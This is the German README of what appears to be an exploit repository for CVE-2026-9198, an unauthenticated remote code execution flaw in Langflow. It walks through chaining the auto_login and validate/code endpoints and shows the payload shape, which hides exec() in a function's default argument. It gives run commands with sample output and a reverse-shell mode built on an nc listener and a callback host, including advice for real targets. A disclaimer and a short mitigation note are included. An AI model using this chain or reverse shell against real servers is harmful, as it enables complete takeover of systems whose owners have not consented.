
Proof-of-Concept-Exploit für CVE-2026-9198, eine nicht authentifizierte RCE in IBM Langflow OSS, die die auto_login- und validate/code-Endpunkte miteinander verknüpft. Enthält ein verwundbares Docker-Labor für autorisierte Tests und Schulungszwecke.
Proof-of-Concept-Exploit und ein eigenständiges Docker-Labor für CVE-2026-9198, eine nicht authentifizierte Remote-Code-Execution-Schwachstelle in IBM Langflow OSS.
Der Exploit verknüpft zwei Endpunkte — auto_login (der jedem einen SUPERUSER-Token
ausstellt) und validate/code (der vom Angreifer bereitgestellten Python-Code ausführt) —, um
Code-Ausführung als Langflow-Dienstbenutzer zu erreichen, ohne dass Anmeldeinformationen erforderlich sind.
[!WARNING] Nur für autorisierte Sicherheitstests und Bildungszwecke. Führen Sie dies ausschließlich gegen Systeme aus, die Ihnen gehören oder für die Sie eine ausdrückliche schriftliche Genehmigung zum Testen haben. Das Docker- Labor in diesem Repository ist absichtlich verwundbar — halten Sie es auf Ihrem Rechner und setzen Sie es niemals dem Internet aus. Sie sind für die Nutzung dieses Codes verantwortlich.
| CVE | CVE-2026-9198 |
| Produkt | IBM Langflow OSS |
| Betroffen | 1.0.0 – 1.10.0 |
| Behoben in | 1.10.1 |
| CVSS 3.1 | 9.8 Kritisch — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-94 — Unzureichende Kontrolle der Codegenerierung ('Code Injection') |
| CISA KEV | Ja — bekanntermaßen in freier Wildbahn ausgenutzt |
Der Exploit ist eine zweistufige Kette, die keine Authentifizierung benötigt:
GET /api/v1/auto_loginLangflow wird standardmäßig mit aktiviertem LANGFLOW_AUTO_LOGIN ausgeliefert. Wenn dies der Fall ist, stellt der
auto_login-Endpunkt jedem Aufrufer ein langlebiges SUPERUSER-JWT aus, ohne
Anmeldeinformationen zu verlangen:
{ "access_token": "eyJ...", "refresh_token": "eyJ...", "token_type": "bearer" }
POST /api/v1/validate/codeSeit 1.3.0 erfordert dieser Endpunkt eine Authentifizierung (das war die Behebung für
CVE-2025-3248) — aber Schritt 1 hat uns gerade ein gültiges SUPERUSER-Token übergeben, also ist die Absicherung
nutzlos. Intern ruft der Endpunkt validate_code() auf, das jede Funktionsdefinition, die es empfängt, kompiliert und ausführt:
for node in tree.body:
if isinstance(node, ast.FunctionDef):
code_obj = compile(ast.Module(body=[node], type_ignores=[]), "<string>", "exec")
try:
exec(code_obj) # <-- führt die def aus
except Exception as e:
errors["function"]["errors"].append(str(e)) # <-- Ausgabe leakt hier zurück
Das Ausführen einer def-Anweisung wertet ihre Standardargumentwerte aus. Eine Funktion,
deren Standardargument exec("...") ist, führt also in dem Moment beliebigen Code aus, in dem sie
validiert wird — die Funktion wird nie aufgerufen. Jede ausgelöste Ausnahme wird erfasst und
in der Antwort unter function.errors zurückgegeben, was der Exploit nutzt, um die Befehlsausgabe
über HTTP zurückzulesen.
Payload-Form (der Befehl ist base64-gekapselt, um jegliche Quoting-Probleme zu überstehen):
def _(a=exec('... subprocess.run(<cmd>) ...; raise Exception(<output>)')):
pass
.
├── exploit.py # der PoC (Befehlsausführung + Reverse Shell)
├── docker-compose.yml # verwundbares Labor: langflow 1.10.0 + postgres
├── requirements.txt # requests
└── README.md
requests (pip install -r requirements.txt)docker compose up -d
Langflow benötigt beim ersten Start ein oder zwei Minuten, bis es bereit ist. Warten Sie, bis es antwortet:
curl -fs http://127.0.0.1:9999/health && echo OK
Der Dienst ist absichtlich an 127.0.0.1:9999 gebunden — er ist von Ihrem
Netzwerk aus nicht erreichbar.
Installieren Sie die Abhängigkeit und richten Sie dann den Exploit auf das Labor.
pip install -r requirements.txt
python3 exploit.py --url http://127.0.0.1:9999 --cmd "id"
Beispielausgabe:
[*] target: http://127.0.0.1:9999
[*] step 1: requesting SUPERUSER token from /api/v1/auto_login
[+] got SUPERUSER token: eyJhbGciOiJIUzI1NiIs...
[*] step 2: reaching RCE through /api/v1/validate/code
[*] executing command via validate/code: 'id'
[+] command output (returned via function.errors):
------------------------------------------------------------
uid=1000(langflow) gid=1000(langflow) groups=1000(langflow)
------------------------------------------------------------
Jeder Befehl funktioniert: --cmd "uname -a && whoami && cat /etc/os-release".
Starten Sie einen Listener:
nc -lvnp 4444
Dann senden Sie die Payload. Wenn das Ziel in Docker auf demselben Rechner läuft, erreicht der
Container Ihren Host unter host.docker.internal (Docker Desktop); bei einem echten
Ziel verwenden Sie Ihre routbare IP:
python3 exploit.py --url http://127.0.0.1:9999 \
--reverse-shell --lhost host.docker.internal --lport 4444
Sie erhalten eine interaktive /bin/sh auf Ihrem Listener als Benutzer langflow.
| Flag | Beschreibung |
|---|---|
--url | Ziel-Basis-URL (erforderlich) |
--cmd | Auszuführender Befehl (Standard id) |
--reverse-shell | Liefert eine Reverse Shell statt --cmd auszuführen |
--lhost / --lport | Reverse-Shell-Callback-Host und -Port |
--token | Verwendet ein bereitgestelltes Bearer-Token und überspringt auto_login |
--timeout | Timeout pro Anfrage, Sekunden (Standard 15) |
--insecure | Überspringt die TLS-Überprüfung (für https-Ziele) |
LANGFLOW_AUTO_LOGIN=false,
und setzen Sie echte Superuser-Anmeldeinformationen.validate/code-Code-Injection, auf der dies aufbaut)